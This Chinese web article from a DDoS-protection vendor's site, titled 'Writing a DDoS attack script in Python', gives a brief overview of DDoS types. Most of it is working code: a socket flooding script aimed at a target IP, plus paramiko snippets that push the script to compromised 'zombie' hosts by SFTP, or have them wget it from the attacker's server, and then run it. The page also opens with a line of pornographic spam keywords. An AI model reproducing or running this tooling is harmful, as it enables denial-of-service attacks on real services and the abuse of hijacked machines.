国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動態(tài)

防御吧作為15年知名老牌域名服務(wù)商,CNNIC和CANN雙認證域名注冊商,已經(jīng)
持續(xù)為500多萬個域名提供服務(wù),包括智能DNS/自由轉(zhuǎn)移/隱私保護等服務(wù)!
python編寫DDoS攻擊腳本
2021-09-19 17:03:44 【

一、什么是DDoS攻擊

DDoS攻擊就是分布式的拒絕服務(wù)攻擊,DDoS攻擊手段是在傳統(tǒng)的DoS攻擊基礎(chǔ)之上產(chǎn)生的一類攻擊方式。單一的DoS攻擊一般是采用一對一方式的,隨著計算機與網(wǎng)絡(luò)技術(shù)的發(fā)展,DoS攻擊的困難程度加大了。于是就產(chǎn)生了DDoS攻擊,它的原理就很簡單:計算機與網(wǎng)絡(luò)的處理能力加大了10倍,用一臺攻擊機來攻擊不再能起作用,那么DDoS就是利用更多的傀儡機來發(fā)起進攻,以比從前更大的規(guī)模來進攻受害者。

二、DDoS分類

作為目前最強大、最難防御的攻擊之一,DDos攻擊主要分為兩種。

  1. 以力取勝:海量的數(shù)據(jù)包從互聯(lián)網(wǎng)各個角落蜂擁而來,堵塞IDC入口,典型的為ICMP Flood和UDP Flood(消耗帶寬)。

  2. 以巧取勝:主要是利用協(xié)議或者軟件的漏洞發(fā)起,如Slowloris攻擊,hash沖突。(協(xié)議攻擊)

  3. 混合:上述兩種混合,即利用協(xié)議、系統(tǒng)的缺陷,又具備海量的資源,如SYN Flood攻擊,DNS Query Flood攻擊。

三、編寫DDoS攻擊腳本

  • 編寫DDoS攻擊腳本,原理是使用socket連接到目標網(wǎng)站,并發(fā)送大量http請求,從而耗盡受攻擊網(wǎng)站資源:

import socketimport timeimport threadingMAX_CONN = 100# 設(shè)置連接的數(shù)量PORT = 80# 設(shè)置端口號 HOST = "10.16.53.180"# 設(shè)置IP地址PAGE = "/DVWA"buf = ("GET %s HTTP/1.1\r\n""Host: %s\r\n""User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n""Content-Length: 1000000000\r\n""\r\n" % (PAGE, HOST))  # HTTP請求socks = []defconn_thread():global socks    for i inrange(0, MAX_CONN):        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        try:            s.connect((HOST, PORT))            s.send(bytes(buf, encoding='utf-8'))  # 發(fā)送HTTP請求            print("[+] Send buf OK!,conn=%d" % i)            socks.append(s)        except Exception as ex:            print("[-] Could not connect to server or send error:%s" % ex)            time.sleep(2)defsend_thread():global socks    for i inrange(10):        for s in socks:            try:                s.send(bytes("ddos", encoding='utf-8'))  # ddos攻擊                print("[+] send OK!")            except Exception as ex:                print("[-] send Exception:%s" % ex)                socks.remove(s)                s.close()        time.sleep(1)conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th.start()send_th.start()
  • 連接到“傀儡機”,也就是我們常說的“肉雞”,通過ssh進行連接,并將ddos腳本上傳到“肉雞”,方式有許多種,這里介紹兩種。

  1. 直接通過python的paramiko模塊上傳文件到遠端:

import paramikot = paramiko.Transport(("IP地址",22))t.connect(username = "用戶名", password = "密碼")sftp = paramiko.SFTPClient.from_transport(t)remotepath='/home/ddos.py'localpath='D:\ddos\ddos.py'sftp.put(localpath,remotepath)t.close()
  1. 在本地開啟apache服務(wù),向遠端發(fā)送wget http://10.16.14.171/ddos.py -O ddos.py指令,下載apache服務(wù)器目錄下的ddos.py腳本:

import paramikossh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect('10.16.66.71', 22, '用戶名', '密碼')stdin, stdout, stderr = ssh.exec_command('wget http://10.16.14.171/ddos.py -O ddos.py')

上述兩種辦法適用于Windows平臺,想在linux平臺上實現(xiàn),可以使用pexpect模塊實現(xiàn)ssh連接。

  1. 運行腳本:

stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')


】【打印關(guān)閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇緩解DDoS攻擊的5個最佳實踐 下一篇web服務(wù)器的配置步驟是怎么樣的?

立足首都,輻射全球,防御吧專注云防御及云計算服務(wù)15年!

聯(lián)系我們

服務(wù)熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術(shù)支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權(quán)所有 增值許可:京B2-20140042號
售前咨詢
公司總機:18910191973
24小時電話:010-56159998
投訴電話:18910191973
值班售后/技術(shù)支持
售后服務(wù)/財務(wù)
備案專員
緊急電話:18610088800